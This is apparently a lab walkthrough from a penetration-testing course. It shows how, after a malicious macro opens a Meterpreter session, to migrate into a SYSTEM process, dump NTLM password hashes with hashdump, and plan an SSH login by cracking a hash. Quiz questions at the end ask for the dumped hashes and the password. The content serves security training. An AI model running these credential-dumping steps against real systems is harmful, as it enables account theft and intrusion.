27

Now that we have a meterpreter session open from our malicious macro we can utilize some of meterpreters built in tools and techniques to extract hashes and then get an ssh shell to explore the sql database.

Meterpreter Overview
Meterpreter is a useful shell that allows us to execute shell commands as well as use some additional functionality within meterpreter. The command we will be focusing on is the 'hashdump' command, similar to mimikatz it can allow us to dump NTLM hashes on the system. Meterpreter can also act as a C2 server with modules like incognito and powershell which we will cover later in this course.

Migrating Processes
If you are not in a system process then hashdump will error out as you can see below.

```
meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.
```

hashdump permission error

With meterpreter we can list processes then migrate using the 'ps' and 'migrate' command. When looking for a process to migrate to we want to look for one with an NT AUTHORITY\SYSTEM user and x64 architecture.
1.) ps

```
meterpreter > ps

Process List
============

 PID   PPID  Name                     Arch  Session  User                          Path
 ---   ----  ----                     ----  -------  ----                          ----
 0     0     [System Process]
 4     0     System                   x64   0
 88    4     Registry                 x64   0
 404   4     smss.exe                 x64   0
 508   768   svchost.exe              x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 556   548   csrss.exe                x64   0
 632   548   wininit.exe              x64   0
 640   624   csrss.exe                x64   1
 700   624   winlogon.exe             x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\winlogon.exe
 768   632   services.exe             x64   0
 780   632   lsass.exe                x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsass.exe
 792   700   LogonUI.exe              x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\LogonUI.exe
 880   768   SecurityHealthService.exe x64  0
 884   768   svchost.exe              x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 908   768   svchost.exe              x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 928   700   fontdrvhost.exe          x64   1        Font Driver Host\UMFD-1       C:\Windows\System32\fontdrvhost.exe
 936   632   fontdrvhost.exe          x64   0        Font Driver Host\UMFD-0       C:\Windows\System32\fontdrvhost.exe
 1016  768   svchost.exe              x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 1036  700   dwm.exe                  x64   1        Window Manager\DWM-1          C:\Windows\System32\dwm.exe
 1076  768   svchost.exe              x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
 1116  5244  powershell.exe           x86   0        THROWBACK-TIME\Administrator  C:\Windows\powershell.exe
 1124  768   svchost.exe              x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 1132  768   svchost.exe              x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 1140  768   svchost.exe              x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 1188  768   svchost.exe              x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
 1208  768   svchost.exe              x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
 1232  768   svchost.exe              x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
```

listing processes on the device

There are many processes to choose from but for the demonstration we'll be using PID 1188 however any process with a system user and x64 arch will for the most part work with some exceptions.

2.) migrate

```
meterpreter > migrate 1188
[*] Migrating from 5624 to 1188...
[*] Migration completed successfully.
```

Migrating to PID 1188

We have now migrated our shell to a system process and can being to dump hashes.

Dumping hashes with Meterpreter

All you need to dump hashes with meterpreter is an open meterpreter session and the hashdump command. The command does not require any kind of special parameters to go along with it, only the command itself.

1.) hashdump

```
meterpreter > hashdump
Administrator:500:aad3b                                                 8dca0b:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
sshd:1008:aad3b435b51404eeaad3b435b51404ee:6eea75cd2cc4ddf2967d5ee05792f9fb:::
          :1009:aad3b                                                 e343486:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:58f8e0214224aebc2c5f82fb7cb47ca1:::
```

Dumping hashes with meterpreter

SUCCESS! We have dumped hashes on THROWBACK-TIME and can move on to cracking the hash and getting an ssh session on the box to being interaction with the SQL database.
Crack the hash for the new found user account and use those credentials to ssh into THROWBACK-TIME. Don't forget your proxychains!

Answer the questions below

Which user's hashes were we able to dump?

Submit

What is the user's hash starting from the third colon?

Submit

What is the administrator's hash starting from the third colon?

Submit

What is the user's cracked password?

Submit